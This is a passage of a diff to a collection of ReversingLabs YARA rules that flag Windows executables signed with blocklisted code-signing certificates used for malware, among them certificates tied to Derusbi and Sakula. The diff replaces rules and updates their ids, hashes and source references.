i ] . serial == "00:a0:3e:a3:a4:fa:77:2b:17:03:7a:0b:80:f1:f9:68:aa" or pe.signatures [ i ] . serial == "a0:3e:a3:a4:fa:77:2b:17:03:7a:0b:80:f1:f9:68:aa" ) and 1608076800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "D-LINK CORPORATION" and pe.signatures [ i ] . serial == "50:67:33:96:14:c5:cc:21:9c:48:9d:40:42:0f:3b:f9" and 1441238400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_333Ca7D100B139B0D9C1A97Cb458E226 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6E32531Ae83992F0573120A5E78De271 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c2c32499-4b0d-51ad-a10e-1ddd7218df84" + id = "37fc58ea-63d4-569d-968f-f4775403b0bb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7826-L7842" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1852-L1868" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b3a31a54132fd8ca2c11b7806503207a4197f16af78693387bac56879b5e1448" + logic_hash = "2b6d54ea8395c3666906b2e60c30b970c2c1b6f55ded874cbcc22dc79391fb34" score = 75 quality = 90 tags = "INFO, FILE" @@ -17789,21 +40183,21 @@ rule REVERSINGLABS_Cert_Blocklist_333Ca7D100B139B0D9C1A97Cb458E226 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FSE, d.o.o." and pe.signatures [ i ] . serial == "33:3c:a7:d1:00:b1:39:b0:d9:c1:a9:7c:b4:58:e2:26" and 1608076800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3 AM CHP" and pe.signatures [ i ] . serial == "6e:32:53:1a:e8:39:92:f0:57:31:20:a5:e7:8d:e2:71" and 1451606399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_9245D1511923F541844Faa3C6Bfebcbe : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6967A89Bcf6Efef160Aaeebbff376C0A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7d4033b8-da1d-55f5-aa80-f96636650633" + id = "d6714f50-600b-5437-8be6-097f7dd93dc7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7844-L7862" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1870-L1886" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b965e897b42c39841e663cc144cf6e4a81fc9bcb64ce3a15a7ca021e95866b08" + logic_hash = "deb7465e453aa5838f81e15e270abc958a65e1a6051a88a5910244edbe874451" score = 75 quality = 90 tags = "INFO, FILE" @@ -17813,21 +40207,21 @@ rule REVERSINGLABS_Cert_Blocklist_9245D1511923F541844Faa3C6Bfebcbe : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LEHTEH d.o.o., Ljubljana" and ( pe.signatures [ i ] . serial == "00:92:45:d1:51:19:23:f5:41:84:4f:aa:3c:6b:fe:bc:be" or pe.signatures [ i ] . serial == "92:45:d1:51:19:23:f5:41:84:4f:aa:3c:6b:fe:bc:be" ) and 1607040000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Chang Yucheng" and pe.signatures [ i ] . serial == "69:67:a8:9b:cf:6e:fe:f1:60:aa:ee:bb:ff:37:6c:0a" and 1451174399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2888Cf0F953A4A3640Ee4Cfc6304D9D4 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7473D95405D2B0B3A8F28785Ce6E74Ca : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "75ec52c5-4c59-51d8-bd9b-928c75d3521a" + id = "7f44b9d8-917b-5fc4-9651-cce89358e415" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7864-L7880" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1888-L1904" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a9ee8534d89b8ac8705bb1777718513a28e4531ed398f482f46a72f2760af161" + logic_hash = "e15b990b13617017ca2d1f8caf03d8ff3785ca9b860bf11f81af5dadf17a9be5" score = 75 quality = 90 tags = "INFO, FILE" @@ -17837,21 +40231,21 @@ rule REVERSINGLABS_Cert_Blocklist_2888Cf0F953A4A3640Ee4Cfc6304D9D4 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lotte Schmidt" and pe.signatures [ i ] . serial == "28:88:cf:0f:95:3a:4a:36:40:ee:4c:fc:63:04:d9:d4" and 1608024974 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dmitrij Emelyanov" and pe.signatures [ i ] . serial == "74:73:d9:54:05:d2:b0:b3:a8:f2:87:85:ce:6e:74:ca" and 1453939199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C8Edcfe8Be174C2F204D858C5B91Dea5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_04F380F97579F1702A85E0169Bbdfd78 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "92baa26f-1352-53ed-bb9f-0a632e471dd5" + id = "860027ff-2df2-5519-afde-60ebee270290" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7882-L7900" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1906-L1922" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b3e6927abfce69548374bfd430a3ae3a1c5a8d05f0f40e43091b4d12025c5b1a" + logic_hash = "73dc6e36fdaf5c80b33f20f2a9157805ce1d0218f3898104de16522ee9cfd51b" score = 75 quality = 90 tags = "INFO, FILE" @@ -17861,21 +40255,21 @@ rule REVERSINGLABS_Cert_Blocklist_C8Edcfe8Be174C2F204D858C5B91Dea5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Paarcopy Oy" and ( pe.signatures [ i ] . serial == "00:c8:ed:cf:e8:be:17:4c:2f:20:4d:85:8c:5b:91:de:a5" or pe.signatures [ i ] . serial == "c8:ed:cf:e8:be:17:4c:2f:20:4d:85:8c:5b:91:de:a5" ) and 1608076800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GRANIFLOR" and pe.signatures [ i ] . serial == "04:f3:80:f9:75:79:f1:70:2a:85:e0:16:9b:bd:fd:78" and 1454889599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_9Faf8705A3Eaef9340800Cc4Fd38597C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_04D6B8Cc6Dce353Fcf3Ae8A532Be7255 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d2988928-4ef3-56bf-a407-f735756c7f81" + id = "937dd780-52f7-5f27-ac2e-a0245997d449" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7902-L7920" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1924-L1940" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "66a340f169e401705ba229d2d4548cef1a57bf1d2d320b108d12b2049b063b92" + logic_hash = "a316ad7f554428d02a850fb3bb04f349d30ecd2ccd4597e7a63461bf5e866e6f" score = 75 quality = 90 tags = "INFO, FILE" @@ -17885,21 +40279,21 @@ rule REVERSINGLABS_Cert_Blocklist_9Faf8705A3Eaef9340800Cc4Fd38597C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Tekhnokod LLC" and ( pe.signatures [ i ] . serial == "00:9f:af:87:05:a3:ea:ef:93:40:80:0c:c4:fd:38:59:7c" or pe.signatures [ i ] . serial == "9f:af:87:05:a3:ea:ef:93:40:80:0c:c4:fd:38:59:7c" ) and 1605744000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MADERA" and pe.signatures [ i ] . serial == "04:d6:b8:cc:6d:ce:35:3f:cf:3a:e8:a5:32:be:72:55" and 1451692799 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0940Fa9A4080F35052B2077333769C2F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_191322A00200F793 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "358391b7-649b-5792-b4bd-d97b388c5d12" + id = "4011e54c-ca28-536f-8759-077fcce6d45f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7922-L7938" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1942-L1958" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "45636ea33751fea61572539fe6f28bccd05df9b6b9e7f2d77bb738f7c69c53a2" + logic_hash = "1b816785f86189817c124636e50a0f369ec85cfd898223c4ba43758a877f1cf3" score = 75 quality = 90 tags = "INFO, FILE" @@ -17909,21 +40303,21 @@ rule REVERSINGLABS_Cert_Blocklist_0940Fa9A4080F35052B2077333769C2F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PROFF LAIN, OOO" and pe.signatures [ i ] . serial == "09:40:fa:9a:40:80:f3:50:52:b2:07:73:33:76:9c:2f" and 1603497600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PRABHAKAR NARAYAN" and pe.signatures [ i ] . serial == "19:13:22:a0:02:00:f7:93" and 1442966399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ea720222D92Dc8D48E3B3C3B0Fc360A6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_451C9D0B413E6E8Df175 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8415406b-ede8-5404-8208-34eb649f7325" + id = "adc832c0-166d-52d1-aeec-2fc92ff52d02" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7940-L7958" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1960-L1976" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c60e1ccf178f03f930a3bc41e9a92be20df0362f067ed1fcfc7c93627a056d75" + logic_hash = "7c94d87f79c9add4d7bf2a63d0774449319aa56cbc631dd9b0f19ed9bb9837d4" score = 75 quality = 90 tags = "INFO, FILE" @@ -17933,21 +40327,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ea720222D92Dc8D48E3B3C3B0Fc360A6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CAVANAGH NETS LIMITED" and ( pe.signatures [ i ] . serial == "00:ea:72:02:22:d9:2d:c8:d4:8e:3b:3c:3b:0f:c3:60:a6" or pe.signatures [ i ] . serial == "ea:72:02:22:d9:2d:c8:d4:8e:3b:3c:3b:0f:c3:60:a6" ) and 1608640280 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PRASAD UPENDRA" and pe.signatures [ i ] . serial == "45:1c:9d:0b:41:3e:6e:8d:f1:75" and 1442275199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4743E140C05B33F0449023946Bd05Acb : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_03943858218F35Adb7073A6027555621 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f783bad3-f350-5a74-8e3f-5b7220e4de8f" + id = "fbaf4c7a-5f20-57f7-b6b7-143fdbf0e5c2" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7960-L7976" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1978-L1994" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "69ce1512d7df4926ee2b470b18fbe51a2aa81e07b37b2536617d6353045e0d19" + logic_hash = "93369d51b73591559494a48fafa5e4f7d46301ecaa379d8de70a70ac4d2d2728" score = 75 quality = 90 tags = "INFO, FILE" @@ -17957,21 +40351,21 @@ rule REVERSINGLABS_Cert_Blocklist_4743E140C05B33F0449023946Bd05Acb : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "STROI RENOV SARL" and pe.signatures [ i ] . serial == "47:43:e1:40:c0:5b:33:f0:44:90:23:94:6b:d0:5a:cb" and 1607644800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RuN APps FOrEver lld" and pe.signatures [ i ] . serial == "03:94:38:58:21:8f:35:ad:b7:07:3a:60:27:55:56:21" and 1480550399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A496Bc774575C31Abec861B68C36Dcb6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_09813Ee7318452C28A1F6426D1Cee12D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "51941c0d-a7a1-5c17-bef8-290e5db66fb7" + id = "db3c1992-b6a1-5aaf-ae3a-c626b531529a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7978-L7996" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1996-L2012" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f82214f982c9972e547f77966c44e935e9de701cc9108ceca34a4fede850d243" + logic_hash = "89eb019192f822f9fe070403161d81e425fb8acdbc80e55fa516b5607eb8f8c7" score = 75 quality = 90 tags = "INFO, FILE" @@ -17981,21 +40375,21 @@ rule REVERSINGLABS_Cert_Blocklist_A496Bc774575C31Abec861B68C36Dcb6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ORGLE DVORSAK, d.o.o" and ( pe.signatures [ i ] . serial == "00:a4:96:bc:77:45:75:c3:1a:be:c8:61:b6:8c:36:dc:b6" or pe.signatures [ i ] . serial == "a4:96:bc:77:45:75:c3:1a:be:c8:61:b6:8c:36:dc:b6" ) and 1606867200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Saly Younes" and pe.signatures [ i ] . serial == "09:81:3e:e7:31:84:52:c2:8a:1f:64:26:d1:ce:e1:2d" and 1455667199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A55C15F733Bf1633E9Ffae8A6E3B37D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_476Bf24A4B1E9F4Bc2A61B152115E1Fe : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Derusbi malware." author = "ReversingLabs" - id = "32cefe84-b305-5542-a5d3-1832dcbf6d61" + id = "a41e8196-f5ad-5046-82ac-38c6fe753bdb" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L7998-L8014" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2014-L2030" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "89ca9f1c5cf0b029748528d8c5bb65f89ee05877bfdc13b4ce3d2d3e7feafb5d" + logic_hash = "0ec0f44d2a7a53ad5653334378b631abde1834ebfcf72efcdcce353c6b9ae17d" score = 75 quality = 90 tags = "INFO, FILE" @@ -18005,21 +40399,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A55C15F733Bf1633E9Ffae8A6E3B37D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Osnova OOO" and pe.signatures [ i ] . serial == "0a:55:c1:5f:73:3b:f1:63:3e:9f:fa:e8:a6:e3:b3:7d" and 1604016000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wemade Entertainment co.,Ltd" and pe.signatures [ i ] . serial == "47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe" and 1414454399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C650Ae531100A91389A7F030228B3095 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_7Bd55818C5971B63Dc45Cf57Cbeb950B : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Derusbi malware." author = "ReversingLabs" - id = "5d506480-96ca-5e71-9fb2-185b2f8ddc6c" + id = "9269cc5c-039e-5d98-ac13-c7b99606e7fa" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8016-L8034" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2032-L2048" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "186b66283491cfebcaade57b1010ce4304c08ddb131153984210c2c7025961aa" + logic_hash = "5aa41a2d6a86a30559b36818602e1bdf2bfd38b799a4869c26c150052d6d788c" score = 75 quality = 90 tags = "INFO, FILE" @@ -18029,21 +40423,21 @@ rule REVERSINGLABS_Cert_Blocklist_C650Ae531100A91389A7F030228B3095 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "POKEROWA STRUNA SP Z O O" and ( pe.signatures [ i ] . serial == "00:c6:50:ae:53:11:00:a9:13:89:a7:f0:30:22:8b:30:95" or pe.signatures [ i ] . serial == "c6:50:ae:53:11:00:a9:13:89:a7:f0:30:22:8b:30:95" ) and 1606089600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "XL Games Co.,Ltd." and pe.signatures [ i ] . serial == "7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b" and 1371513599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3990362C34015Ce4C23Ecc3377Fd3C06 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4C0B2E9D2Ef909D15270D4Dd7Fa5A4A5 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Derusbi malware." author = "ReversingLabs" - id = "453b5da2-ae26-5005-8a56-1105a960fde6" + id = "97005464-1219-56d7-bd5c-f047558be1dc" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8036-L8052" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2050-L2066" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0625800fcb166b56cab2e16d0d757983a6f880b68627ed8c3c38419dd9a32999" + logic_hash = "9c74eb025bb413503b97ffdba6f19eadecf3789ce3a5d5419f84e32e25c9b5b1" score = 75 quality = 90 tags = "INFO, FILE" @@ -18053,21 +40447,21 @@ rule REVERSINGLABS_Cert_Blocklist_3990362C34015Ce4C23Ecc3377Fd3C06 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RZOH ApS" and pe.signatures [ i ] . serial == "39:90:36:2c:34:01:5c:e4:c2:3e:cc:33:77:fd:3c:06" and 1606780800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fuqing Dawu Technology Co.,Ltd." and pe.signatures [ i ] . serial == "4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5" and 1372118399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_121Fca3Cfa4Bd011669F5Cc4E053Aa3F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5E3D76Dc7E273E2F313Fc0775847A2A2 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Sakula and Derusbi malware." author = "ReversingLabs" - id = "ebc47e1e-e6fe-581c-86b3-22e2e67a0b81" + id = "93707307-a250-526d-a3d4-32ed5d2a63a6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8054-L8070" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2068-L2084" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1edd5be3f970202be15080cd7ef19c0cce7fcba73cb6120d7cb7d518e877cf85" + logic_hash = "b943057fc3e97cfccadb4b8f61289a93b659aacf2a40217fcf519d4882e70708" score = 75 quality = 90 tags = "INFO, FILE" @@ -18077,21 +40471,21 @@ rule REVERSINGLABS_Cert_Blocklist_121Fca3Cfa4Bd011669F5Cc4E053Aa3F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kymijoen Projektipalvelut Oy" and pe.signatures [ i ] . serial == "12:1f:ca:3c:fa:4b:d0:11:66:9f:5c:c4:e0:53:aa:3f" and 1606953600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NexG" and pe.signatures [ i ] . serial == "5e:3d:76:dc:7e:27:3e:2f:31:3f:c0:77:58:47:a2:a2" and 1372723199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D338F8A490E37E6C2Be80A0E349929Fa : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_47D5D5372Bcb1562B4C9F4C2Bdf13587 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Certificate used for digitally signing Sakula malware." author = "ReversingLabs" - id = "93ca450e-7278-5c6c-aba8-e90728570e0c" + id = "d888478e-3883-5d9d-a2b3-d59b57409b8d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L8072-L8090" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2086-L2102" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "39d9695803e96508b5ad12a7d9f8b65d13288dbe94b21a4952e096dd576e11ce" + logic_hash = "fb4994647a2ed95c73625d90315c9b6deb6fb3b81b4aa6e847b0193f0a76650c" score = 75 quality = 90 tags = "INFO, FILE" @@ -18101,21 +40495,21 @@ rule REVERSINGLABS_Cert_Blocklist_D338F8A490E37E6C2Be80A0E349929Fa : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAGUARO ApS" and ( pe.signatures [ i ] . serial == "00:d3:38:f8:a4:90:e3:7e:6c:2b:e8:0a:0e:34:99:29:fa" or pe.signatures [ i ] . serial == "d3:38:f8:a4:90:e3:7e:6c:2b:e8:0a:0e:34:99:29:fa" ) and 1607558400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DTOPTOOLZ Co.,Ltd." and pe.signatures [ i ] . serial == "47:d5:d5:37:2b:cb:15:62:b4:c9:f4:c2:bd:f1:35:87" and 1400803199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2C1Ee9B583310B5E34A1Ee6945A34B26 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3Ac10E68F1Ce519E84Ddcd28B11Fa542 : INFO FILE { meta: - description = "Certificate used for digitally signing 